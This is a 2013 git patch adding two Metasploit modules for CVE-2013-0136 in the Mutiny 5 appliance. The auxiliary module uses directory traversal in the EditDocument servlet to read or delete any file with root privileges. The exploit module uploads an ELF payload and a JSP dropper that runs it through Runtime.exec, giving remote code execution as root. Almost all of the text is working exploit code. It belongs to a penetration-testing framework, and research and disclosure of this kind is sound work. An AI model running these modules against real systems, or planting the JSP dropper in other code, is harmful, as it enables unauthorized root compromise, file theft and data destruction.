From 649a8829d33e58dbac6113b1a4fc9dc8ccc2051b Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Wed, 15 May 2013 09:02:25 -0500 Subject: [PATCH] Add modules for Mutiny vulnerabilities --- .../admin/http/mutiny_frontend_read_delete.rb | 180 ++++++++++++++++ .../linux/http/mutiny_frontend_upload.rb | 201 ++++++++++++++++++ 2 files changed, 381 insertions(+) create mode 100644 modules/auxiliary/admin/http/mutiny_frontend_read_delete.rb create mode 100644 modules/exploits/linux/http/mutiny_frontend_upload.rb diff --git a/modules/auxiliary/admin/http/mutiny_frontend_read_delete.rb b/modules/auxiliary/admin/http/mutiny_frontend_read_delete.rb new file mode 100644 index 0000000000..7fe1e8ceff --- /dev/null +++ b/modules/auxiliary/admin/http/mutiny_frontend_read_delete.rb @@ -0,0 +1,180 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Mutiny 5 Arbitrary File Read and Delete', + 'Description' => %q{ + This module exploits the EditDocument servlet from the frontend on the Mutiny 5 + appliance. The EditDocument servlet provides file operations, such as copy and + delete, which are affected by a directory traversal vulnerability. Because of this, + any authenticated frontend user can read and delete arbitrary files from the system + with root privileges. In order to exploit the vulnerability a valid user (any role) + in the web frontend is required. The module has been tested successfully on the + Mutiny 5.0-1.07 appliance. + }, + 'Author' => + [ + 'juan vazquez' # Metasploit module and initial discovery + ], + 'License' => MSF_LICENSE, + 'References' => + [ + [ 'CVE', '2013-0136' ], + [ 'US-CERT-VU', '701572' ], + [ 'URL', 'https://community.rapid7.com/community/metasploit/blog/2013/05/15/new-1day-exploits-mutiny-vulnerabilities' ] + ], + 'Actions' => + [ + ['Read'], + ['Delete'] + ], + 'DefaultAction' => 'Read', + 'DisclosureDate' => 'May 15 2013')) + + register_options( + [ + Opt::RPORT(80), + OptString.new('TARGETURI',[true, 'Path to Mutiny Web Service', '/']), + OptString.new('USERNAME', [ true, 'The user to authenticate as', 'superadmin@mutiny.com' ]), + OptString.new('PASSWORD', [ true, 'The password to authenticate with', 'password' ]), + OptString.new('PATH', [ true, 'The file to read or delete' ]), + ], self.class) + end + + def run + @peer = "#{rhost}:#{rport}" + + print_status("#{@peer} - Trying to login") + if login + print_good("#{@peer} - Login successful") + else + print_error("#{@peer} - Login failed, review USERNAME and PASSWORD options") + return + end + + case action.name + when 'Read' + read_file(datastore['PATH']) + when 'Delete' + delete_file(datastore['PATH']) + end + end + + def read_file(file) + + print_status("#{@peer} - Copying file to Web location...") + + dst_path = "/usr/jakarta/tomcat/webapps/ROOT/m/" + res = send_request_cgi( + { + 'uri' => normalize_uri(target_uri.path, "interface", "EditDocument"), + 'method' => 'POST', + 'cookie' => "JSESSIONID=#{@session}", + 'encode_params' => false, + 'vars_post' => { + 'operation' => 'COPY', + 'paths[]' => "../../../../#{file}%00.txt", + 'newPath' => "../../../..#{dst_path}" + } + }) + + if res and res.code == 200 and res.body =~ /\{"success":true\}/ + print_good("#{@peer} - File #{file} copied to #{dst_path} successfully") + else + print_error("#{@peer} - Failed to copy #{file} to #{dst_path}") + end + + print_status("#{@peer} - Retrieving file contents...") + + res = send_request_cgi( + { + 'uri' => normalize_uri(target_uri.path, "m", ::File.basename(file)), + 'method' => 'GET' + }) + + if res and res.code == 200 + store_path = store_loot("mutiny.frontend.data", "application/octet-stream", rhost, res.body, file) + print_good("#{@peer} - File successfully retrieved and saved on #{store_path}") + else + print_error("#{@peer} - Failed to retrieve file") + end + + # Cleanup + delete_file("#{dst_path}#{::File.basename(file)}") + end + + def delete_file(file) + print_status("#{@peer} - Deleting file #{file}") + + res = send_request_cgi( + { + 'uri' => normalize_uri(target_uri.path, "interface", "EditDocument"), + 'method' => 'POST', + 'cookie' => "JSESSIONID=#{@session}", + 'vars_post' => { + 'operation' => 'DELETE', + 'paths[]' => "../../../../#{file}" + } + }) + + if res and res.code == 200 and res.body =~ /\{"success":true\}/ + print_good("#{@peer} - File #{file} deleted") + else + print_error("#{@peer} - Error deleting file #{file}") + end + end + + def login + + res = send_request_cgi( + { + 'uri' => normalize_uri(target_uri.path, "interface", "index.do"), + 'method' => 'GET' + }) + + if res and res.code == 200 and res.headers['Set-Cookie'] =~ /JSESSIONID=(.*);/ + first_session = $1 + end + + res = send_request_cgi( + { + 'uri' => normalize_uri(target_uri.path, "interface", "j_security_check"), + 'method' => 'POST', + 'cookie' => "JSESSIONID=#{first_session}", + 'vars_post' => { + 'j_username' => datastore['USERNAME'], + 'j_password' => datastore['PASSWORD'] + } + }) + + if not res or res.code != 302 or res.headers['Location'] !~ /interface\/index.do/ + return false + end + + res = send_request_cgi( + { + 'uri' => normalize_uri(target_uri.path, "interface", "index.do"), + 'method' => 'GET', + 'cookie' => "JSESSIONID=#{first_session}" + }) + + if res and res.code == 200 and res.headers['Set-Cookie'] =~ /JSESSIONID=(.*);/ + @session = $1 + return true + end + + return false + end + +end diff --git a/modules/exploits/linux/http/mutiny_frontend_upload.rb b/modules/exploits/linux/http/mutiny_frontend_upload.rb new file mode 100644 index 0000000000..d793948709 --- /dev/null +++ b/modules/exploits/linux/http/mutiny_frontend_upload.rb @@ -0,0 +1,201 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + HttpFingerprint = { :pattern => [ /Apache-Coyote/ ] } + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::EXE + include Msf::Exploit::FileDropper + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Mutiny 5 Arbitrary File Upload', + 'Description' => %q{ + This module exploits a code execution flaw in the Mutiny 5 appliance. The + EditDocument servlet provides a file upload function to authenticated users. A + directory traversal vulnerability in the same functionality allows for arbitrary + file upload, which results in arbitrary code execution with root privileges. In + order to exploit the vulnerability a valid user (any role) in the web frontend is + required. The module has been tested successfully on the Mutiny 5.0-1.07 appliance. + }, + 'Author' => + [ + 'juan vazquez' # Metasploit module and initial discovery + ], + 'License' => MSF_LICENSE, + 'References' => + [ + [ 'CVE', '2013-0136' ], + [ 'US-CERT-VU', '701572' ], + [ 'URL', 'https://community.rapid7.com/community/metasploit/blog/2013/05/15/new-1day-exploits-mutiny-vulnerabilities' ] + ], + 'Privileged' => true, + 'Platform' => 'linux', + 'Arch' => ARCH_X86, + 'Targets' => + [ + [ 'Mutiny 5.0-1.07 Appliance (Linux)', { } ] + ], + 'DefaultTarget' => 0, + 'DisclosureDate' => 'May 15 2013')) + + register_options( + [ + Opt::RPORT(80), + OptString.new('TARGETURI', [true, 'Path to Mutiny Web Service', '/']), + OptString.new('USERNAME', [ true, 'The user to authenticate as', 'superadmin@mutiny.com' ]), + OptString.new('PASSWORD', [ true, 'The password to authenticate with', 'password' ]) + ], self.class) + end + + def upload_file(location, filename, contents) + post_data = Rex::MIME::Message.new + post_data.add_part(contents, "application/octet-stream", nil, "form-data; name=\"uploadFile\"; filename=\"#{filename}\"") + post_data.add_part("../../../..#{location}", nil, nil, "form-data; name=\"uploadPath\"") + + # Work around an incompatible MIME implementation + data = post_data.to_s + data.gsub!(/\r\n\r\n--_Part/, "\r\n--_Part") + + res = send_request_cgi( + { + 'uri' => normalize_uri(target_uri.path, "interface","EditDocument"), + 'method' => 'POST', + 'data' => data, + 'ctype' => "multipart/form-data; boundary=#{post_data.bound}", + 'cookie' => "JSESSIONID=#{@session}" + }) + + if res and res.code == 200 and res.body =~ /\{"success":true\}/ + return true + else + return false + end + end + + def login + + res = send_request_cgi( + { + 'uri' => normalize_uri(target_uri.path, "interface", "index.do"), + 'method' => 'GET' + }) + + if res and res.code == 200 and res.headers['Set-Cookie'] =~ /JSESSIONID=(.*);/ + first_session = $1 + end + + res = send_request_cgi( + { + 'uri' => normalize_uri(target_uri.path, "interface", "j_security_check"), + 'method' => 'POST', + 'cookie' => "JSESSIONID=#{first_session}", + 'vars_post' => { + 'j_username' => datastore['USERNAME'], + 'j_password' => datastore['PASSWORD'] + } + }) + + if res.nil? or res.code != 302 or res.headers['Location'] !~ /interface\/index.do/ + return false + end + + res = send_request_cgi( + { + 'uri' => normalize_uri(target_uri.path, "interface", "index.do"), + 'method' => 'GET', + 'cookie' => "JSESSIONID=#{first_session}" + }) + + if res and res.code == 200 and res.headers['Set-Cookie'] =~ /JSESSIONID=(.*);/ + @session = $1 + return true + end + + return false + end + + def check + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path, "interface", "/"), + }) + + if res and res.body =~ /var currentMutinyVersion = "Version ([0-9\.-]*)/ + version = $1 + end + + if version and version >= "5" and version <= "5.0-1.07" + return Exploit::CheckCode::Vulnerable + end + + return Exploit::CheckCode::Safe + end + + def exploit + @peer = "#{rhost}:#{rport}" + + print_status("#{@peer} - Trying to login") + if login + print_good("#{@peer} - Login successful") + else + fail_with(Exploit::Failure::NoAccess, "#{@peer} - Login failed, review USERNAME and PASSWORD options") + end + + exploit_native + end + + def exploit_native + print_status("#{@peer} - Uploading executable Payload file") + elf = payload.encoded_exe + elf_location = "/tmp" + elf_filename = "#{rand_text_alpha_lower(8)}.elf" + if upload_file(elf_location, elf_filename, elf) + register_files_for_cleanup("#{elf_location}/#{elf_filename}") + f = ::File.open("/tmp/test.elf", "wb") + f.write(elf) + f.close + else + fail_with(Exploit::Failure::Unknown, "#{@peer} - Payload upload failed") + end + + print_status("#{@peer} - Uploading JSP to execute the payload") + jsp = jsp_execute_command("#{elf_location}/#{elf_filename}") + jsp_location = "/usr/jakarta/tomcat/webapps/ROOT/m" + jsp_filename = "#{rand_text_alpha_lower(8)}.jsp" + if upload_file(jsp_location, jsp_filename, jsp) + register_files_for_cleanup("#{jsp_location}/#{jsp_filename}") + else + fail_with(Exploit::Failure::Unknown, "#{@peer} - JSP upload failed") + end + + print_status("#{@peer} - Executing payload") + send_request_cgi( + { + 'uri' => normalize_uri(target_uri.path, "m", jsp_filename), + 'method' => 'GET' + }) + + end + + def jsp_execute_command(command) + jspraw = %Q|<%@ page import="java.io.*" %>\n| + jspraw << %Q|<%\n| + jspraw << %Q|try {\n| + jspraw << %Q| Runtime.getRuntime().exec("chmod +x #{command}");\n| + jspraw << %Q|} catch (IOException ioe) { }\n| + jspraw << %Q|Runtime.getRuntime().exec("#{command}");\n| + jspraw << %Q|%>\n| + + jspraw + end + +end